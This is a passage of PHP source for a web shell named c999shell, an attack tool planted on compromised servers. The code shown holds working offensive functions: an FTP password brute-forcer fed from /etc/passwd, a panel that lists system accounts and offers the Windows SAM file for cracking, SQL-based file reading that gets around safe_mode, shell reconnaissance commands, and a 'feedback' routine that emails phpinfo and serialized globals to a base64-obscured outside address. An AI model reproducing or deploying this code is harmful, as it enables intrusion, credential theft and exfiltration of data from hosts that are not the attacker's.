  2561.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  2562.  
  2563.        echo "<td>".$row["Rows"]."</td>";
  2564.  
  2565.        echo "<td>".$row["Type"]."</td>";
  2566.  
  2567.        echo "<td>".$row["Create_time"]."</td>";
  2568.  
  2569.        echo "<td>".$row["Update_time"]."</td>";
  2570.  
  2571.        echo "<td>".$size."</td>";
  2572.  
  2573.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  2574.  
  2575.        echo "</tr>";
  2576.  
  2577.        $i++;
  2578.  
  2579.       }
  2580.  
  2581.       echo "<tr bgcolor=\"000000\">";
  2582.  
  2583.       echo "<td><center><b>»</b></center></td>";
  2584.  
  2585.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  2586.  
  2587.       echo "<td><b>".$trows."</b></td>";
  2588.  
  2589.       echo "<td>".$row[1]."</td>";
  2590.  
  2591.       echo "<td>".$row[10]."</td>";
  2592.  
  2593.       echo "<td>".$row[11]."</td>";
  2594.  
  2595.       echo "<td><b>".view_size($tsize)."</b></td>";
  2596.  
  2597.       echo "<td></td>";
  2598.  
  2599.       echo "</tr>";
  2600.  
  2601.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  2602.  
  2603.       echo "<option value=\"\">With selected:</option>";
  2604.  
  2605.       echo "<option value=\"tbldrop\">Drop</option>";
  2606.  
  2607.       echo "<option value=\"tblempty\">Empty</option>";
  2608.  
  2609.       echo "<option value=\"tbldump\">Dump</option>";
  2610.  
  2611.       echo "<option value=\"tblcheck\">Check table</option>";
  2612.  
  2613.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  2614.  
  2615.       echo "<option value=\"tblrepair\">Repair table</option>";
  2616.  
  2617.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  2618.  
  2619.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  2620.  
  2621.       mysql_free_result($result);
  2622.  
  2623.      }
  2624.  
  2625.     }
  2626.  
  2627.    }
  2628.  
  2629.    }
  2630.  
  2631.   }
  2632.  
  2633.   else
  2634.  
  2635.   {
  2636.  
  2637.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  2638.  
  2639.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  2640.  
  2641.    if (!empty($sql_act))
  2642.  
  2643.    {
  2644.  
  2645.     echo "<hr size=\"1\" noshade>";
  2646.  
  2647.     if ($sql_act == "newdb")
  2648.  
  2649.     {
  2650.  
  2651.      echo "<b>";
  2652.  
  2653.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  2654.  
  2655.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  2656.  
  2657.     }
  2658.  
  2659.     if ($sql_act == "serverstatus")
  2660.  
  2661.     {
  2662.  
  2663.      $result = mysql_query("SHOW STATUS", $sql_sock);
  2664.  
  2665.      echo "<center><b>Server-status variables:</b><br><br>";
  2666.  
  2667.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  2668.  
  2669.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  2670.  
  2671.      echo "</table></center>";
  2672.  
  2673.      mysql_free_result($result);
  2674.  
  2675.     }
  2676.  
  2677.     if ($sql_act == "servervars")
  2678.  
  2679.     {
  2680.  
  2681.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  2682.  
  2683.      echo "<center><b>Server variables:</b><br><br>";
  2684.  
  2685.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  2686.  
  2687.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  2688.  
  2689.      echo "</table>";
  2690.  
  2691.      mysql_free_result($result);
  2692.  
  2693.     }
  2694.  
  2695.     if ($sql_act == "processes")
  2696.  
  2697.     {
  2698.  
  2699.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  2700.  
  2701.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  2702.  
  2703.      echo "<center><b>Processes:</b><br><br>";
  2704.  
  2705.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  2706.  
  2707.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  2708.  
  2709.      echo "</table>";
  2710.  
  2711.      mysql_free_result($result);
  2712.  
  2713.     }
  2714.  
  2715.     if ($sql_act == "getfile")
  2716.  
  2717.     {
  2718.  
  2719.      $tmpdb = $sql_login."_tmpdb";
  2720.  
  2721.      $select = mysql_select_db($tmpdb);
  2722.  
  2723.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  2724.  
  2725.      if ($select)
  2726.  
  2727.      {
  2728.  
  2729.       $created = FALSE;
  2730.  
  2731.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  2732.  
  2733.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  2734.  
  2735.       $result = mysql_query("SELECT * FROM tmp_file;");
  2736.  
  2737.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  2738.  
  2739.       else
  2740.  
  2741.       {
  2742.  
  2743.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  2744.  
  2745.        $f = "";
  2746.  
  2747.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  2748.  
  2749.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  2750.  
  2751.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  2752.  
  2753.        mysql_free_result($result);
  2754.  
  2755.        mysql_query("DROP TABLE tmp_file;");
  2756.  
  2757.       }
  2758.  
  2759.      }
  2760.  
  2761.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  2762.  
  2763.     }
  2764.  
  2765.    }
  2766.  
  2767.   }
  2768.  
  2769.  }
  2770.  
  2771.  echo "</td></tr></table>";
  2772.  
  2773.  if ($sql_sock)
  2774.  
  2775.  {
  2776.  
  2777.   $affected = @mysql_affected_rows($sql_sock);
  2778.  
  2779.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  2780.  
  2781.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  2782.  
  2783.  }
  2784.  
  2785.  echo "</table>";
  2786.  
  2787. }
  2788.  
  2789. if ($act == "mkdir")
  2790.  
  2791. {
  2792.  
  2793.  if ($mkdir != $d)
  2794.  
  2795.  {
  2796.  
  2797.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  2798.  
  2799.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  2800.  
  2801.   echo "<br><br>";
  2802.  
  2803.  }
  2804.  
  2805.  $act = $dspact = "ls";
  2806.  
  2807. }
  2808.  
  2809. if ($act == "ftpquickbrute")
  2810.  
  2811. {
  2812.  
  2813.  echo "<b>Ftp Quick brute:</b><br>";
  2814.  
  2815.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  2816.  
  2817.  else
  2818.  
  2819.  {
  2820.  
  2821.   function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  2822.  
  2823.   {
  2824.  
  2825.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  2826.  
  2827.    else {$TRUE = TRUE;}
  2828.  
  2829.    if ($TRUE)
  2830.  
  2831.    {
  2832.  
  2833.     $sock = @ftp_connect($host,$port,$timeout);
  2834.  
  2835.     if (@ftp_login($sock,$login,$pass))
  2836.  
  2837.     {
  2838.  
  2839.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  2840.  
  2841.      ob_flush();
  2842.  
  2843.      return TRUE;
  2844.  
  2845.     }
  2846.  
  2847.    }
  2848.  
  2849.   }
  2850.  
  2851.   if (!empty($submit))
  2852.  
  2853.   {
  2854.  
  2855.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  2856.  
  2857.    $fp = fopen("/etc/passwd","r");
  2858.  
  2859.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  2860.  
  2861.    else
  2862.  
  2863.    {
  2864.  
  2865.     if ($fqb_logging)
  2866.  
  2867.     {
  2868.  
  2869.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  2870.  
  2871.      else {$fqb_logfp = FALSE;}
  2872.  
  2873.      $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  2874.  
  2875.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2876.  
  2877.     }
  2878.  
  2879.     ob_flush();
  2880.  
  2881.     $i = $success = 0;
  2882.  
  2883.     $ftpquick_st = getmicrotime();
  2884.  
  2885.     while(!feof($fp))
  2886.  
  2887.     {
  2888.  
  2889.      $str = explode(":",fgets($fp,2048));
  2890.  
  2891.      if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  2892.  
  2893.      {
  2894.  
  2895.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  2896.  
  2897.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  2898.  
  2899.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2900.  
  2901.       $success++;
  2902.  
  2903.       ob_flush();
  2904.  
  2905.      }
  2906.  
  2907.      if ($i > $fqb_lenght) {break;}
  2908.  
  2909.      $i++;
  2910.  
  2911.     }
  2912.  
  2913.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  2914.  
  2915.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  2916.  
  2917.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  2918.  
  2919.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  2920.  
  2921.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2922.  
  2923.     if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);}
  2924.  
  2925.     fclose($fqb_logfp);
  2926.  
  2927.    }
  2928.  
  2929.   }
  2930.  
  2931.   else
  2932.  
  2933.   {
  2934.  
  2935.    $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  2936.  
  2937.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  2938.  
  2939.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  2940.  
  2941.   }
  2942.  
  2943.  }
  2944.  
  2945. }
  2946.  
  2947. if ($act == "d")
  2948.  
  2949. {
  2950.  
  2951.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  2952.  
  2953.  else
  2954.  
  2955.  {
  2956.  
  2957.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  2958.  
  2959.   if (!$win)
  2960.  
  2961.   {
  2962.  
  2963.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  2964.  
  2965.    $ow = posix_getpwuid(fileowner($d));
  2966.  
  2967.    $gr = posix_getgrgid(filegroup($d));
  2968.  
  2969.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  2970.  
  2971.   }
  2972.  
  2973.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  2974.  
  2975.  }
  2976.  
  2977. }
  2978.  
  2979. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();}
  2980.  
  2981. if ($act == "security")
  2982.  
  2983. {
  2984.  
  2985.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  2986.  
  2987.  if (!$win)
  2988.  
  2989.  {
  2990.  
  2991.   if ($nixpasswd)
  2992.  
  2993.   {
  2994.  
  2995.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  2996.  
  2997.    echo "<b>*nix /etc/passwd:</b><br>";
  2998.  
  2999.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  3000.  
  3001.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  3002.  
  3003.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  3004.  
  3005.    $i = $nixpwd_s;
  3006.  
  3007.    while ($i < $nixpwd_e)
  3008.  
  3009.    {
  3010.  
  3011.     $uid = posix_getpwuid($i);
  3012.  
  3013.     if ($uid)
  3014.  
  3015.     {
  3016.  
  3017.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  3018.  
  3019.      echo join(":",$uid)."<br>";
  3020.  
  3021.     }
  3022.  
  3023.     $i++;
  3024.  
  3025.    }
  3026.  
  3027.   }
  3028.  
  3029.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  3030.  
  3031.  }
  3032.  
  3033.  else
  3034.  
  3035.  {
  3036.  
  3037.   $v = $_SERVER["WINDIR"]."\repair\sam";
  3038.  
  3039.   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  3040.  
  3041.   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
  3042.  
  3043.  }
  3044.  
  3045.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  3046.  
  3047.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  3048.  
  3049.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  3050.  
  3051.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  3052.  
  3053.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  3054.  
  3055.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  3056.  
  3057.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  3058.  
  3059.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  3060.  
  3061.  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  3062.  
  3063.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  3064.  
  3065.  displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  3066.  
  3067.  displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  3068.  
  3069.  displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  3070.  
  3071.  displaysecinfo("RAM",myshellexec("free -m"));
  3072.  
  3073.  displaysecinfo("HDD space",myshellexec("df -h"));
  3074.  
  3075.  displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  3076.  
  3077.  displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  3078.  
  3079.  displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  3080.  
  3081.  displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  3082.  
  3083.  displaysecinfo("Is links installed?",myshellexec("which links"));
  3084.  
  3085.  displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  3086.  
  3087.  displaysecinfo("Is GET installed?",myshellexec("which GET"));
  3088.  
  3089.  displaysecinfo("Is perl installed?",myshellexec("which perl"));
  3090.  
  3091.  displaysecinfo("Where is apache",myshellexec("whereis apache"));
  3092.  
  3093.  displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  3094.  
  3095.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  3096.  
  3097.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  3098.  
  3099.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  3100.  
  3101.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  3102.  
  3103. }
  3104.  
  3105. if ($act == "mkfile")
  3106.  
  3107. {
  3108.  
  3109.  if ($mkfile != $d)
  3110.  
  3111.  {
  3112.  
  3113.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  3114.  
  3115.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  3116.  
  3117.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  3118.  
  3119.  }
  3120.  
  3121.  else {$act = $dspact = "ls";}
  3122.  
  3123. }
  3124.  
  3125. if ($act == "encoder")
  3126.  
  3127. {
  3128.  
  3129.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
  3130.  
  3131.  foreach(array("md5","crypt","sha1","crc32") as $v)
  3132.  
  3133.  {
  3134.  
  3135.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  3136.  
  3137.  }
  3138.  
  3139.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  3140.  
  3141. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  3142.  
  3143. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  3144.  
  3145.  echo "<center>base64_decode - ";
  3146.  
  3147.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  3148.  
  3149.  else
  3150.  
  3151.  {
  3152.  
  3153.   $debase64 = base64_decode($encoder_input);
  3154.  
  3155.   $debase64 = str_replace("\0","[0]",$debase64);
  3156.  
  3157.   $a = explode("\r\n",$debase64);
  3158.  
  3159.   $rows = count($a);
  3160.  
  3161.   $debase64 = htmlspecialchars($debase64);
  3162.  
  3163.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  3164.  
  3165.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  3166.  
  3167.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  3168.  
  3169.  }
  3170.  
  3171.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  3172.  
  3173.  $c = strlen($encoder_input);
  3174.  
  3175.  for($i=0;$i<$c;$i++)
  3176.  
  3177.  {
  3178.  
  3179.   $hex = dechex(ord($encoder_input[$i]));
  3180.  
  3181.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  3182.  
  3183.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  3184.  
  3185.  }
  3186.  
  3187.  echo "\" readonly><br></center></form>";
  3188.  
  3189. }
  3190.  
  3191. if ($act == "fsbuff")
  3192.  
  3193. {
  3194.  
  3195.  $arr_copy = $sess_data["copy"];
  3196.  
  3197.  $arr_cut = $sess_data["cut"];
  3198.  
  3199.  $arr = array_merge($arr_copy,$arr_cut);
  3200.  
  3201.  if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
  3202.  
  3203.  else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
  3204.  
  3205. }
  3206.  
  3207. if ($act == "selfremove")
  3208.  
  3209. {
  3210.  
  3211.  if (($submit == $rndcode) and ($submit != ""))
  3212.  
  3213.  {
  3214.  
  3215.   if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); }
  3216.  
  3217.   else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  3218.  
  3219.  }
  3220.  
  3221.  else
  3222.  
  3223.  {
  3224.  
  3225.   if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";}
  3226.  
  3227.   $rnd = rand(0,9).rand(0,9).rand(0,9);
  3228.  
  3229.   echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  3230.  
  3231.  }
  3232.  
  3233. }
  3234.  
  3235. if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
  3236.  
  3237. if ($act == "feedback")
  3238.  
  3239. {
  3240.  
  3241.  $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
  3242.  
  3243.  if (!empty($submit))
  3244.  
  3245.  {
  3246.  
  3247.   $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  3248.  
  3249.   $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
  3250.  
  3251.   if (!empty($fdbk_ref))
  3252.  
  3253.   {
  3254.  
  3255.    $tmp = @ob_get_contents();
  3256.  
  3257.    ob_clean();
  3258.  
  3259.    phpinfo();
  3260.  
  3261.    $phpinfo = base64_encode(ob_get_contents());
  3262.  
  3263.    ob_clean();
  3264.  
  3265.    echo $tmp;
  3266.  
  3267.    $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
  3268.  
  3269.   }
  3270.  
  3271.   mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  3272.  
  3273.   echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>";
  3274.  
  3275.  }
  3276.  
